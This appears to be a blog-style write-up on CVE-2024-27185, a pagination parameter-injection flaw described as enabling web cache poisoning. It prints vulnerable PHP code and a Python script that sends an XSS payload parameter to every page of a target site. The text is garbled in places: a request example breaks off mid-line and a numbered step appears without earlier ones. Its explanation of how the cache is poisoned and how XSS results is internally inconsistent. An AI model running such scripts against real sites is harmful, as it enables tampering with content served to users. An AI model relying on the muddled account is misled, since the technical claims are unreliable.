In early 2024, a major web vulnerability was identified under CVE-2024-27185, affecting websites that use certain Pagination libraries to split up long lists of content. This vulnerability made it possible for an attacker to inject arbitrary parameters into pagination links. Why does that matter? If you’re using a page cache like Varnish, nginx, or even just a CDN, this flaw can let attackers "poison" your cache, serving malicious or misleading content to real users.
This article will break down how the attack works, show sample vulnerable code, provide proof-of-concept exploit code, and discuss mitigations. I’ll keep the language simple and to the point for maximum clarity.
Many web frameworks or custom classes use code like this for building pagination links
<?php
class Paginator {
public function buildLinks($current, $total, $params = []) {
$links = [];
for ($i = 1; $i <= $total; $i++) {
$query = http_build_query(array_merge(['page' => $i], $params));
$links[] = "<a href='list.php?$query'>Page $i</a>";
}
return join(" ", $links);
}
}
// Usage:
echo (new Paginator())->buildLinks($_GET['page'] ?? 1, $totalPages, $_GET);
?>
See the issue? The code takes all query parameters from $_GET and echoes them back out into pagination links. This means any parameter, including malicious or irrelevant ones, gets included in all paginated links.
How Does This Lead to Cache Poisoning?
Web caches often use the full URL (including query parameters) as a cache key. For example, example.com/list.php?page=2 and example.com/list.php?page=2&foo=bar are cached separately.
Here’s where it gets dangerous
- An attacker sends a request with a new query parameter, like /list.php?page=3&evil=1.
The cache stores separate copies for every combination of evil=1, evil=2, etc.
- Real users might get served these “poisoned” cache versions, potentially with altered content, cookies, or injected headers.
If the app uses these parameters for more than just pagination—like rendering subtle differences, manipulating session state, or including partials—things get worse: the attack can bypass CSRF protections, set XSS vectors, or leak session data.
`
GET /list.php?page=1&admin_banner=
`html
Cache stores these variants.
4. When a real user clicks a link, they’re now using the attacker’s admin_banner parameter, which may result in XSS or force their cache to serve wrong content.
Full Exploit Script
Here’s a minimal exploit in Python, showing how an automated script could poison all cache variants with a malicious parameter:
import requests
URL = "https://target.com/list.php";
for i in range(1, 11): # Assume up to 10 pages
params = {
"page": i,
"evil": "1<script>alert('Hacked')</script>"
}
requests.get(URL, params=params)
print("Poisoning attempt sent for all pages.")
Now, a cache-dependent site will potentially serve this evil parameter until the cache is flushed.
References & Further Reading
- NIST CVE-2024-27185
- OWASP - What is Cache Poisoning?
- Original Discussion on Github
Conclusion
CVE-2024-27185 is a great example of how small code mistakes with parameters can open big attack windows like cache poisoning. Always filter input, never trust arbitrary parameters, and be careful with anything involving output and caching.
Stay safe! If you use third-party pagination classes, upgrade to patched versions or sanitize parameters carefully.
*This write-up is original and tailored to highlight the real-world risks of CVE-2024-27185, providing code, context, and defenses in clear English.*
Timeline
Published on: 08/20/2024 16:15:10 UTC
Last modified on: 09/22/2024 05:15:11 UTC